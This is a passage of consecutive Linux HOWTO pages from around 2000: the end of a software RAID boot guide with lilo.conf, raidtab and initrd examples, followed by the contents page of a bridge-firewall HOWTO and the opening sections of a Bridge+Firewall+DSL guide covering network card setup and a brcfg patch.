        boot=/dev/hda
        map=/boot/map
        install=/boot/boot.b
        image=/boot/bzImage
        root=/dev/md0
        read-only
        label=LinuxRaid

# ---------------------

# lilo.conf.hdc - secondary ide master
        disk=/dev/md0
        bios=0x80                # see note below
        sectors=63
        heads=16
        cylinders=39770
        partition=/dev/md1
        start=63
        boot=/dev/hdc            # this is the other disk
        map=/boot/map
        install=/boot/boot.b
        image=/boot/bzImage
        root=/dev/md0
        read-only
        label=LinuxRaid

# BIOS=line -- if your bios is smart enough (most are not) to detect that that the first disk is missing or failed and will automatically boot from the second disk, then bios=81 would be the appropriate entry here. This is more common with SCSI bios than IDE bios. I simply plan on relocating the drive so it will replace the dead drive C: in the event of failure of the primary boot drive.

The geometry information for the drive can be obtained from fdisk with the command:

fdisk -ul (little L)
fdisk -ul /dev/hda

Disk /dev/hda: 16 heads, 63 sectors, 39770 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1            63     33263     16600+  fd  Linux raid autodetect
/dev/hda2         33264    443519    205128   82  Linux swap
/dev/hda3        443520  40088159  19822320   fd  Linux raid autodetect

* note the listing of the START of each partition

3.2 Detailed explaination of lilo.conf for raid boot

The raid lilo.conf file above, commented in detail for each entry.

# lilo.conf.hda - primary ide master
#       the location of the /boot directory that will be
#       designated below as containing the kernel, map, etc...
#       note that this is NOT the actual partition containing
#       the boot image and info, but rather the device
#       that logically contains this directory.
#       in this example, /dev/md1 is mounted on /dev/md0/boot
     disk=/dev/md0

#       tell LILO which bios device to use for boot, i.e. C: drive
     bios=0x80

#       tell LILO the geometry of the device
#       this is usually but not always the "logical"
#       geometry. Check the /proc file system or watch
#       the boot messages when the kernel probes for the drive
#
     sectors=63
     heads=16
     cylinders=39770

#       this is a dummy entry to make LILO happy so it
#       will recognize the raid set 0x9?? and then find
#       the START of the boot sector. To really see
#       what this was for, read the documentation
#       that comes with the LILO source distribution.
#       This parameter "must" be different than the
#       disk=  entry above. It can be any other mdx
#       device, used or unused and need not be the one
#       that contains the /boot information
#
     partition=/dev/md1

#       the first sector of the partition containing /boot information
     start=63

#       the real device that LILO will write the boot information to
     boot=/dev/hda

#       logically where LILO will put the boot information
     map=/boot/map
     install=/boot/boot.b

#       logically where lilo will find the kernel image
     image=/boot/bzImage

#       standard stuff after this
#       root may be a raid1/4/5 device
     root=/dev/md0
     read-only
     label=LinuxRaid


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Upgrading from non-raid to RAID1/4/5

 Next Previous Contents

4. Upgrading from non-raid to RAID1/4/5

Upgrading a non-raid system to raid is fairly easy and consists of several discrete steps described below. The description is for a system with a boot partition, root partition and swap partition.

OLD disk in the existing system:

    /dev/hda1     boot, may be dos+lodlin or lilo
    /dev/hda2     root
    /dev/hda3     swap
We will add an additional disk and convert the entire system to RAID1. You could easily add several disks and make a RAID5 set instead using the same procedure.

4.1 Step 1 - prepare a new kernel

Download a clean kernel, raidtools-0.90 (or the most recent version), and the kernel patch to upgrade the kernel to 0.90 raid.

Compile and install the raidtools and READ the documentation.

Compile and install the kernel to support all the flavors (0/1/4/5 ?) of raid that you will be using. Make sure to specify autostart of raid devices in the kernel configuration. Test that the kernel boots properly and examine /proc/mdstat to see that the raid flavors you will use are supported by the new kernel.

4.2 Step 2 - set up raidtab for your new raid.

The new disk will be added to an additional IDE controller as the master device, thus becomming /dev/hdc

    /dev/hdc1     16megs -- more than enough for several kernel images
    /dev/hdc2     most of the disk
    /dev/hdc3     some more swap space, if needed. otherwise add to hdc2

Change the partition types for /dev/hdc1 and /dev/hdc2 to "fd" for raid-autostart.

Using the failed-disk parameter, create a raidtab for the desired RAID1 configuration. The failed disk must be the last entry in the table.

# example raidtab
# md0 is the root array
raiddev                 /dev/md0
raid-level              1
nr-raid-disks           2
chunk-size              32
# Spare disks for hot reconstruction
nr-spare-disks          0
persistent-superblock   1
device                  /dev/hdc2
raid-disk               0
# this is our old disk, mark as failed for now
device                  /dev/hda2
failed-disk             1

# md1 is the /boot array
raiddev                 /dev/md1
raid-level              1
nr-raid-disks           2
chunk-size              32
# Spare disks for hot reconstruction
nr-spare-disks          0
persistent-superblock   1
device                  /dev/hdc1
raid-disk               0
# boot is marked failed as well
device                  /dev/hda1
failed-disk               1

4.3 Create, format, and configure RAID

Create the md devices with the commands:

    mkraid /dev/md0
    mkraid /dev/md1

The raid devices should be created and start. Examination of /proc/mdstat should show the raid personalities in the kernel and the raid devices running.

Format the boot and root devices with:

    mke2fs /dev/md0
    mke2fs /dev/md1
Mount the new root device somewhere handy and create the /boot directory and mount the boot partition.
    mount /dev/md0 /mnt
    mkdir /mnt/boot
    mount /dev/md1 /mnt/boot

4.4 Copy the current OS to the new raid device

This is pretty straightforward.

    cd /
    # set up a batch file to do this
    cp -a /bin /mnt
    cp -a /dev /mnt
    cp -a /etc /mnt
    cp -a (all directories except /mnt, /proc, and nsf mounts) /mnt
This operation can be tricky if you have mounted or linked other disks to your root file system. The example above assumes a very simple system, you may have to modify the procedure somewhat.

4.5 Test your new RAID

Make a boot floppy and rdev the kernel.

    dd if=kernal.image of=/dev/fd0 bs=2k
    rdev /dev/fd0 /dev/md0
    rdev -r /dev/fd0 0
    rdev -R /dev/fd0 1

Modify the fstab on the RAID device to reflect the new mount points as follows:

  /dev/md0        /       ext2    defaults        1 1
  /dev/md1        /boot   ext2    defaults        1 1

Dismount the raid devices and boot the new file system to see that all works correctly.

    umount /mnt/boot
    umount /mnt
    raidstop /dev/md0
    raidstop /dev/md1
    shutdown -r now

Your RAID system should now be up and running in degraded mode with a floppy boot disk. Carefully check that you transferred everything to the new raid system. If you mess up here without a backup, YOU ARE DEAD!

If something did not work, reboot your old system and go back and fix things up until you successfully complete this step.

4.6 Integrate old disk into raid array

Success in the previous step means that the raid array is now operational, but without redundancy. We must now re-partition the old drive(s) to fit into the new raid array. Remember that if the geometries are not the same, the the partition size on the old drive must be the same or larger than the raid partitions or they can not be added to the raid set.

Re-partition the old drive as required. Example:

    /dev/hda1     same or larger than /dev/hdc1
    /dev/hda2     same or larger than /dev/hdc2
    /dev/hda3     anything left over for swap or whatever...

Change the failed-disk parameter in the raidtab to raid-disk and hot add the new (old) disk partitions to the raid array.

    raidhotadd /dev/md1 /dev/hda1
    raidhotadd /dev/md0 /dev/hda2
Examining /proc/mdstat should show one or more of the raid devices reconstructing the data for the new partitions. After a minute or two... or so, the raid arrays should be fully synchronized (this could take a while for a large partition).

Using the procedure described in the first sections of this document, set up bootable raid on the new raid pair. Hang on to that boot floppy while setting up and testing this last step.


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Appendix A. - example raidtab

 Next Previous Contents

5. Appendix A. - example raidtab

RAID1 example described in the first sections of this document

 df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/md0              19510780   1763188  16756484  10% /
/dev/md1                 15860       984     14051   7% /boot

# --------------------------

 fdisk -ul /dev/hda

Disk /dev/hda: 16 heads, 63 sectors, 39770 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1            63     33263     16600+  fd  Linux raid autodetect
/dev/hda2         33264    443519    205128   83  Linux native
/dev/hda3        443520  40088159  19822320   fd  Linux raid autodetect

# --------------------------

 fdisk -ul /dev/hdc

Disk /dev/hdc: 16 heads, 63 sectors, 39770 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdc1            63     33263     16600+  fd  Linux raid autodetect
/dev/hdc2         33264    443519    205128   82  Linux swap
/dev/hdc3        443520  40088159  19822320   fd  Linux raid autodetect

# --------------------------

# md0 is the root array, about 20 gigs
raiddev                 /dev/md0
raid-level              1
nr-raid-disks           2
chunk-size              32
# Spare disks for hot reconstruction
nr-spare-disks          0
persistent-superblock   1
device                  /dev/hda3
raid-disk               0
device                  /dev/hdc3
raid-disk               1

# md1 is the /boot array, about 16 megs
raiddev                 /dev/md1
raid-level              1
nr-raid-disks           2
chunk-size              32
# Spare disks for hot reconstruction
nr-spare-disks          0
persistent-superblock   1
device                  /dev/hda1
raid-disk               0
device                  /dev/hdc1
raid-disk               1

# --------------------------

# GLOBAL SECTION
# device containing /boot directory
disk=/dev/md0
# geometry
  bios=0x80
  sectors=63
  heads=16
  cylinders=39770
# dummy
  partition=/dev/md1
# start of device "disk" above
  start=63

boot=/dev/hda
map=/boot/map
install=/boot/boot.b

image=/boot/bzImage
root=/dev/md0
label=LinuxRaid
read-only

# -------------------------

# GLOBAL SECTION
# device containing /boot directory
disk=/dev/md0
# geometry
  bios=0x80
  sectors=63
  heads=16
  cylinders=39770
# dummy
  partition=/dev/md1
# start of device "disk" above
  start=63

boot=/dev/hdc
map=/boot/map
install=/boot/boot.b

image=/boot/bzImage
root=/dev/md0
label=LinuxRaid
read-only


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Appendix B. - SCSI reference implementation RAID5

 Next Previous Contents

6. Appendix B. - SCSI reference implementation RAID5

4 disk SCSI RAID5

 df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/md0              11753770   2146076   9000678  19% /
/dev/md1                 15739       885     14042   6% /boot

# --------------------------

 fdisk -ul /dev/sda

Disk /dev/sda: 64 heads, 32 sectors, 4095 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1            32     32767     16368   fd  Linux raid autodetect
/dev/sda2         32768    292863    130048    5  Extended
/dev/sda3        292864   8386559   4046848   fd  Linux raid autodetect
/dev/sda5         32800    260095    113648   82  Linux swap
/dev/sda6        260128    292863     16368   83  Linux native - test

# ------------------------

 fdisk -ul /dev/sdb

Disk /dev/sdb: 64 heads, 32 sectors, 4095 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sdb1            32     32767     16368   fd  Linux raid autodetect
/dev/sdb2         32768    292863    130048    5  Extended
/dev/sdb3        292864   8386559   4046848   fd  Linux raid autodetect
/dev/sdb5         32800    260095    113648   82  Linux swap
/dev/sdb6        260128    292863     16368   83  Linux native - test

# ------------------------

# fdisk -ul /dev/sdc

Disk /dev/sdc: 64 heads, 32 sectors, 4095 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sdc2            32    292863    146416    5  Extended
/dev/sdc3        292864   8386559   4046848   fd  Linux raid autodetect
/dev/sdc5            64    260095    130016   83  Linux native - development
/dev/sdc6        260128    292863     16368   83  Linux native - test

# ------------------------

 fdisk -ul /dev/sdd

Disk /dev/sdd: 64 heads, 32 sectors, 4095 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sdd2            32    292863    146416    5  Extended
/dev/sdd3        292864   8386559   4046848   fd  Linux raid autodetect
/dev/sdd5            64    260095    130016   83  Linux native - development
/dev/sdd6        260128    292863     16368   83  Linux native - test

# --------------------------

# raidtab
#
raiddev /dev/md0
        raid-level      5
        nr-raid-disks   4
        persistent-superblock 1
        chunk-size      32

# Spare disks for hot reconstruction
        nr-spare-disks  0
        device          /dev/sda3
        raid-disk       0
        device          /dev/sdb3
        raid-disk       1
        device          /dev/sdc3
        raid-disk       2
        device          /dev/sdd3
        raid-disk       3

# boot partition
#
raiddev /dev/md1
        raid-level      1
        nr-raid-disks   2
        persistent-superblock 1
        chunk-size      32

# Spare disks for hot reconstruction
        nr-spare-disks  0
        device          /dev/sda1
        raid-disk       0
        device          /dev/sdb1
        raid-disk       1

# --------------------------

# cat lilo.conf.sda
# GLOBAL SECTION
# device containing /boot directory
disk=/dev/md0
# geometry
  bios=0x80
  sectors=32
  heads=64
  cylinders=4095
# dummy
  partition=/dev/md1
# start of device "disk" above
  start=32

boot=/dev/sda
map=/boot/map
install=/boot/boot.b

image=/boot/bzImage
root=/dev/md0
label=LinuxRaid
read-only

# ------------------------
# cat lilo.conf.sdb
# GLOBAL SECTION
# device containing /boot directory
disk=/dev/md0
# geometry
  bios=0x80
  sectors=32
  heads=64
  cylinders=4095
# dummy
  partition=/dev/md1
# start of device "disk" above
  start=32

boot=/dev/sdb
map=/boot/map
install=/boot/boot.b

image=/boot/bzImage
root=/dev/md0
label=LinuxRaid
read-only


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Appendix C. - ide RAID10 with initrd

 Next Previous Contents

7. Appendix C. - ide RAID10 with initrd

RAID1 over striped RAID0 pair.... the disks in the RAID0 sets are not quite the same size, but close enough.

/dev/md0 is the /boot partition and is autostarted by the kernel
/dev/md1 and /dev/md3 are the two RAID0 sets autostarted by the kernel
/dev/md2 is the root partition and is started by initrd

df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/md2                118531     76485     35925  68% /
/dev/md0                  1917      1361       457  75% /boot

# ----------------------------

 fdisk -ul /dev/hda

Disk /dev/hda: 4 heads, 46 sectors, 903 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1            46      4231      2093   fd  Linux raid autodetect
/dev/hda2          4232    166151     80960   fd  Linux raid autodetect

# ----------------------------

 fdisk -ul /dev/hdb

Disk /dev/hdb: 5 heads, 17 sectors, 981 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdb1            17     83384     41684   fd  Linux raid autodetect

# ----------------------------

 fdisk -ul /dev/hdc

Disk /dev/hdc: 7 heads, 17 sectors, 1024 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdc1            17     84013     41998+  fd  Linux raid autodetect
/dev/hdc2         84014    121855     18921   82  Linux swap

# ----------------------------

 fdisk -ul /dev/hdd

Disk /dev/hdd: 4 heads, 46 sectors, 903 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdd1            46      4231      2093   fd  Linux raid autodetect
/dev/hdd2          4232    166151     80960   fd  Linux raid autodetect

# ----------------------------

# raidtab
#
raiddev /dev/md0
        raid-level      1
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/hda1
        raid-disk       0
        device          /dev/hdd1
        raid-disk       1

raiddev /dev/md1
        raid-level      0
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/hdd2
        raid-disk       0
        device          /dev/hdb1
        raid-disk       1

raiddev /dev/md2
        raid-level      1
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/md1
        raid-disk       0
        device          /dev/md3
        raid-disk       1

raiddev /dev/md3
        raid-level      0
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/hda2
        raid-disk       0
        device          /dev/hdc1
        raid-disk       1

# ----------------------------

contents of linuxrc

 cat linuxrc
#!/bin/sh
# ver 1.02 2-22-00
#
############# really BEGIN 'linuxrc' ###############
#
# mount the proc file system
/bin/mount /proc

# start raid 1 made of raid 0's
/bin/raidstart /dev/md2

# tell the console what's happening
/bin/cat /proc/mdstat

# Everything is fine, let the kernel mount /dev/md2
# tell the kernel to switch to /dev/md2 as the /root device
# The 0x900 value is the device number calculated by:
#  256*major_device_number + minor_device number
echo "/dev/md2 mounted on root"
echo 0x902>/proc/sys/kernel/real-root-dev

# umount /proc to deallocate initrd device ram space
/bin/umount /proc
exit

# ----------------------------

contents of initrd

./bin/ash
./bin/echo
./bin/raidstart
./bin/mount
./bin/umount
./bin/cat
./bin/sh
./dev/tty1
./dev/md0
./dev/md1
./dev/md2
./dev/md3
./dev/md4
./dev/console
./dev/hda
./dev/hda1
./dev/hda2
./dev/hda3
./dev/hdb
./dev/hdb1
./dev/hdb2
./dev/hdb3
./dev/hdc
./dev/hdc1
./dev/hdc2
./dev/hdc3
./dev/hdd
./dev/hdd1
./dev/hdd2
./dev/hdd3
./dev/initrd
./dev/ram0
./dev/ram1
./dev/ram2
./dev/ram3
./dev/ram4
./dev/ram5
./dev/ram6
./dev/ram7
./etc/raidtab
./etc/fstab
./lib/ld-2.1.2.so
./lib/ld-linux.so.1
./lib/ld-linux.so.1.9.9
./lib/ld-linux.so.2
./lib/ld.so
./lib/libc-2.1.2.so
./lib/libc.so.6
./linuxrc
./proc


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Appendix D. - ide RAID1-10 with initrd

 Next Previous Contents

8. Appendix D. - ide RAID1-10 with initrd

This is a system made up of an assortment of odds and ends. The root mounted raid device is comprised of a RAID1 made up of one RAID0 array from odd sized disks and a larger regular disk partition. Examination of the lilo.conf files may give you better insight into the reasoning behind the various parameters.

/dev/md0 is the /boot partition and is autostarted by the kernel
/dev/md1 is one half of the mirror set for md2, autostarted by kernel
/dev/hda3 is the other half of the mirror set for md2
/dev/md2 is the RAID1 /dev/md1 + /dev/hda3, started by initrd

df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/md2                138381     74421     56815  57% /
/dev/md0                  2011      1360       549  71% /boot

# ----------------------------

 fdisk -ul /dev/hda

Disk /dev/hda: 8 heads, 46 sectors, 903 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1            46      4415      2185   fd  Linux raid autodetect
/dev/hda2          4416     43423     19504   82  Linux swap
/dev/hda3         43424    332303    144440   83  Linux native

# ----------------------------

 fdisk -ul /dev/hdc

Disk /dev/hdc: 8 heads, 39 sectors, 762 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdc1            39      4367      2164+  fd  Linux raid autodetect
/dev/hdc2          4368     70199     32916   82  Linux swap
/dev/hdc3         70200    237743     83772   fd  Linux raid autodetect

# ----------------------------

 fdisk -ul /dev/hdd

Disk /dev/hdd: 4 heads, 39 sectors, 762 cylinders
Units = sectors of 1 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdd1            39    118871     59416+  fd  Linux raid autodetect

# ----------------------------

# raidtab
#
raiddev /dev/md0
        raid-level      1
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/hdc1
        raid-disk       1
        device          /dev/hda1
        raid-disk       0

raiddev /dev/md1
        raid-level      0
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/hdc3
        raid-disk       0
        device          /dev/hdd1
        raid-disk       1

raiddev /dev/md2
        raid-level      1
        nr-raid-disks   2
        persistent-superblock   1
        chunk-size      8
        device          /dev/md1
        raid-disk       1
        device          /dev/hda3
        raid-disk       0

# ----------------------------

 cat linuxrc
#!/bin/sh
# ver 1.02 2-22-00
#
############# really BEGIN 'linuxrc' ###############
#
# mount the proc file system
/bin/mount /proc

# autostart /boot partition and raid0
/bin/raidstart /dev/md2

# tell the console what's happening
/bin/cat /proc/mdstat

# Everything is fine, let the kernel mount /dev/md2
# tell the kernel to switch to /dev/md2 as the /root device
# The 0x900 value is the device number calculated by:
#  256*major_device_number + minor_device number
echo "/dev/md2 mounted on root"
echo 0x902>/proc/sys/kernel/real-root-dev

# umount /proc to deallocate initrd device ram space
/bin/umount /proc
exit

# ----------------------------

contents of initrd.gz

./bin
./bin/ash
./bin/echo
./bin/raidstart
./bin/mount
./bin/umount
./bin/cat
./bin/sh
./dev/tty1
./dev/md0
./dev/md1
./dev/md2
./dev/md3
./dev/console
./dev/hda
./dev/hda1
./dev/hda2
./dev/hda3
./dev/hdc
./dev/hdc1
./dev/hdc2
./dev/hdc3
./dev/hdd
./dev/hdd1
./dev/hdd2
./dev/hdd3
./dev/initrd
./dev/ram0
./dev/ram1
./dev/ram2
./dev/ram3
./dev/ram4
./dev/ram5
./dev/ram6
./dev/ram7
./etc/raidtab
./etc/fstab
./lib/ld-2.1.2.so
./lib/ld-linux.so.1
./lib/ld-linux.so.1.9.9
./lib/ld-linux.so.2
./lib/ld.so
./lib/libc-2.1.2.so
./lib/libc.so.6
./linuxrc
./proc

# ----------------------------

 cat lilo.conf.hda
# GLOBAL SECTION
# device containing /boot directory
disk=/dev/md2
# geometry
  bios=0x80
  cylinders=903
  heads=8
  sectors=46
# geometry for 2nd disk
# bios will be the same because it will have to be moved to hda
#  cylinders=762
#  heads=8
#  sectors=39

# dummy
  partition=/dev/md0
# start of device "disk" above
  start=46
# second device
#  start=39

# seem to have some trouble with 2.2.14 recognizing the right IRQ
  append = "ide1=0x170,0x376,12 ether=10,0x300,eth0 ether=5,0x320,eth1"

boot=/dev/hda
map=/boot/map
install=/boot/boot.b

initrd=/boot/initrd.gz

image=/boot/zImage
root=/dev/md2
label=LinuxRaid
read-only

# ----------------------------

 cat lilo.conf.hdc
# GLOBAL SECTION
# device containing /boot directory
disk=/dev/md2
# geometry
  bios=0x80
#  cylinders=903
#  heads=8
#  sectors=46
# geometry for 2nd disk
# bios will be the same because it will have to be moved to hda
  cylinders=762
  heads=8
  sectors=39

# dummy
  partition=/dev/md0
# start of device "disk" above
#  start=46
# second device
  start=39

# seem to have some trouble with 2.2.14 recognizing the right IRQ
  append = "ide1=0x170,0x376,12 ether=10,0x300,eth0 ether=5,0x320,eth1"

boot=/dev/hdc
map=/boot/map
install=/boot/boot.b

initrd=/boot/initrd.gz

image=/boot/zImage
root=/dev/md2
label=LinuxRaid
read-only


Linux Bridge+Firewall Mini-HOWTO version 1.2.0

Peter Breuer ( ptb@it.uc3m.es)

v, 19 December 1997

1. Introduction

2. What and Why (and How?)

  • 2.1 What
  • 2.2 Why
  • 2.3 How?

3. BRIDGING

  • 3.1 Software
  • 3.2 Prior Reading.
  • 3.3 Boot configuration
  • 3.4 Kernel configuration
  • 3.5 Network addresses
  • 3.6 Network routing
  • 3.7 Card configuration
  • 3.8 Additional routing
  • 3.9 Bridge Configuration
  • 3.10 Try it out
  • 3.11 Checks

4. FIREWALLING

  • 4.1 Software and reading
  • 4.2 Preliminary checks
  • 4.3 Default rule
  • 4.4 Holes per address
  • 4.5 Holes per protocol
  • 4.6 Checks


Bridge + Firewall + DSL Mini-HOWTO

Derek Ney derek@hipgraphics.com

Nov 9, 2000

Configuring a Linux system to act as a firewall and bridge with a DSL network connection

1. Introduction

  • 1.1 History
  • 1.2 New versions
  • 1.3 Copyrights

2. Bridging, Firewalls, and DSL connections

  • 2.1 The Problem
  • 2.2 The Solution
  • 2.3 Setup Overview
  • 2.4 References

3. Procedure

  • 3.1 Example Setup
  • 3.2 Hardware Setup
  • 3.3 Bridge Config
  • 3.4 Kernel Configuration
  • 3.5 Putting It All Together
  • 3.6 Firewall Setup
  • 3.7 Local Machine Setup

4. Quirks and Problems

  • 4.1 Odd message when using ipchains -X
  • 4.2 Shared Interrupts


Bridge + Firewall + DSL Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 History

This document was started on December 10, 1999 by Derek Ney derek@hipgraphics.com after three day's worth of frustration with bridging and firewalling after switching from a PPP network link to a DSL link.

1.2 New versions

The newest version may be found in different formats at the LDP homepage http://www.linuxdoc.org/.

Version History

v0.04 (Nov 9, 2000)

  • Updated for newer bridge configuration utility bridgex

v0.03 (Mar 24, 2000)

  • Fixed up URL for BRCFG.tgz

v0.02 (Dec 13, 1999)

  • Incorporate revisions from Leonard Dickens (thanks Leonard!)

v0.01 (Dec 10, 1999)

  • Initial version

1.3 Copyrights

(c) 1999,2000 Derek R. Ney

This document may be distributed under the terms set forth in the LDP license at http://www.linuxdoc.org/COPYRIGHT.html.


Bridge + Firewall + DSL Mini-HOWTO: Bridging, Firewalls, and DSL connections

 Next Previous Contents

2. Bridging, Firewalls, and DSL connections

Until recently, our local network was hooked into the global net via PPP over a modem. I had installed a firewall using IPChains ( http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html) with this setup and it worked nicely. We recently upgraded to a DSL connection. I thought it would be trivial to simply switch my firewall to insulate me from the larger net coming in via the DSL connection. I was wrong. It took three days of work to finally get it up and running. I found a lot of suspect information on the net that caused a good deal of confusion. This mini-HOWTO was written because I suspected that our setup will be a quite common configuration in the future when DSL becomes more widespread and I wanted to help people avoid massive frustration.

I guess this is applicable to a cable modem setup, but YMMV as I know nothing about cable modem hookups.

2.1 The Problem

The problem I am trying to solve is to configure the system such that the firewall code in the kernel (that is manipulated with ipchains) can be used to filter the packets that travel back and forth between the outside world and the local network. I also needed some of the local machines to be "seen" on the global net (though always filtered through the firewall). This ruled out IP masquerading (see IP Masquerade HOWTO) which would otherwise probably be a simpler solution. This is not as simple as it seems.

2.2 The Solution

To accomplish our goal of insulating a local net from the global net (over DSL) by using our Linux box, we will use two ethernet (NIC) cards. One card is hooked up to the local net and one to the global net. The only machine that can directly talk to the outside world is the Linux box. All other machines in our local net must go through the Linux box (firewall).

Configuring the software really consists of two problems:

  • Route packets between the local and global net (bridging)
  • Filter the packets to stop some from traversing the firewall

The Bridging mini-Howto gives detailed instructions that solves the first problem by routing packets between the two sides of the network (local and global). This works by putting both NIC's into "promiscuous" mode such that they sniff all the packets on each NIC and transfer packets over when they belong on the other side. This is done transparently; the other computers on the net do not even see the bridge, because it does not even have an IP address. But this does not totally solve the problem. I wanted the firewall to have an IP address (for administration via the network, if nothing else) and more importantly, the bridge code in the kernel intercepts and bridges packets BEFORE they get to the firewall code, so the firewall will have no effect.

It turns out you can assign your NIC's IP addresses and still use them as a bridge. Although the Bridging mini-Howto does not do this (well actually, it uses loopback addresses), it works fine. That solves one problem. For the firewall problem, we turn to a fine kernel patch at http://ac2i.tzo.com/bridge_filter/ that causes the firewall rules to be invoked for packets that are being bridged with a special new rule "bridgein".

2.3 Setup Overview

This mini-HOWTO is meant to handle the situation where you have a Linux box configured as a gateway/firewall. The system has 2 NIC cards installed. One of the NIC cards is connected to the outside world (in our case a DSL modem) and nothing else. The other NIC is connected to our local network.

Note that I have only had one experience with this and it was on my i386 (ABIT BP6 MOBO, w/2 celery) box with RedHat 6.0 with the 2.2.13 kernel, and a DSL modem going to a router, and two Netgear FA310TX NIC cards. Your mileage may vary.

Also note that the steps here will leave your network open to potential attack during setup (before the firewall is turned on). If you are very paranoid you will want to take extra steps to avoid this.

2.4 References

I found a good deal of information on the net that I used to finally get things working. Some of the information was useful, but inaccurate.

The Bridging mini-Howto was instrumental in getting things up. Unfortunately using it alone does not implement a firewall.

The Linux Bridge+Firewall mini-HOWTO at first looked like just what I needed. However, it turns out that I think it is inaccurate. I got things sort-of working with it, but in the end I realized that it was not necessary to split your sub-net in two like it directs and did not use that method. If you look at this document, take it with a grain of salt.

The Bridge Filter Patch is the key to getting the whole thing to work. Oddly enough, the information on the web page directs you to the Bridge+Firewall mini-HOWTO. You do not need to use the information in Bridge+Firewall mini-HOWTO to get things to work. You will need this patch.

The IPCHAINS HOWTO is invaluable in setting up the firewall itself. I do not attempt to cover the details of firewall setup in this document; only issues which are different because of the bridging setup are mentioned here.


Bridge + Firewall + DSL Mini-HOWTO: Procedure

 Next Previous Contents

3. Procedure

The basic procedure is as follows:

  • Setup your hardware (and verify that it works)
  • Patch and configure the kernel
  • Configure your network (ifconfig, route, bridging)
  • Configure the firewall

3.1 Example Setup

Throughout this procedure, I will assume a setup with two ethernet (NIC) cards, an outside link via DSL (where a DSL modem connects to one of the NIC's), and a local net that connects to the other NIC. I will arbitrarily call the NIC to the DSL modem "eth1" and the local net NIC "eth0". The device naming by the kernel of the NIC's depends on what slot they are in.

I will assume that you have been assigned a subnet of IP addresses at 192.168.2.128-191, i.e. a netmask of 255.255.255.192, and the router provided by the DSL company is at 192.168.2.129. These are all arbitrary fictional examples to illustrate the setup. I will use the address 192.168.2.130 for the firewall machine (both NIC's), though it turns out you can also use distinct IP addresses for each NIC if you want.

3.2 Hardware Setup

You will need two ethernet cards to make this work. The biggest problem I had was that I randomly picked a slot in my motherboard for the second NIC and it turned out that that slot (PCI) shared an interrupt with the first NIC. I did not know that this was a problem (in fact there is little information about this, and I thought it should work fine). It caused both cards to shut down quietly (no error indication) and stop sending and receiving packets. Naturally when you are doing all sort of configuration changes, this is the last thing you need. I do not know if this is a problem with all PCI NIC cards or just ours, but I would advise against sharing interrupts. The tulip driver, which we use, reports the IRQ for each NIC in syslog when you boot. There is a bunch of information out there (see the Ethernet-HOWTO section Using More than one Ethernet Card per Machine) about making the kernel recognize two ethernet cards using boot arguments; however, I did not need this (my kernel recognized both cards with no arguments).

Next, you need to hook the second NIC to the DSL modem (or whatever links you to the outside world) and make sure that it is working. You should be able to ifconfig the second ethernet card to a proper IP address and ping the router on the other end of your outside link. This verifies that you can send and receive packets over the DSL link. For instance, for the sample net you would do:

  ifconfig eth1 192.168.2.130 netmask 255.255.255.192 broadcast 192.168.2.191

to configure the NIC. And then

  ifconfig eth0 down # just to make sure it does not interfere with things
  ping 192.168.2.129

to test that you can get to the router. For good measure, you should also test that you can get to the machines on your local network through the other NIC:

  ifconfig eth1 down # just to make sure it does not interfere with things
  ifconfig eth0 up
  ping 192.168.2.x # where x is the address for a machine on your local net

At this point, you have verified that all the hardware is working.

3.3 Bridge Config

Depending upon your kernel version you will need either the old bridge configuration utility (BRCFG) for kernels before 2.2.14, or the new bridge configuration utility (bridgex) for later kernels; these utilities allow you to control the bridging in your kernel when CONFIG_BRIDGE is turned on. BRCFG is distributed as source with pre-compiled executables. I do not know what kernel the executable was compiled with, but I got different results after I recompiled it with my kernel (2.2.13) include files. Unfortunately, to do this I had to patch them slightly. Here are the patches:

diff -C 3 -r /tmp/BRCFG/brcfg.c ./brcfg.c
*** /tmp/BRCFG/brcfg.c  Wed Feb 21 19:11:59 1996
--- ./brcfg.c   Wed Dec  8 12:52:23 1999
***************
*** 1,6 ****

! #include <sys/types.h>
! #include <sys/socket.h>
  #include <skbuff.h>

  #include "br.h"
--- 1,6 ----

! #include <types.h>
! #include <socket.h>
  #include <skbuff.h>

  #include "br.h"

Apply the patch, recompile brcfg and install it somewhere appropriate (I chose /usr/sbin).

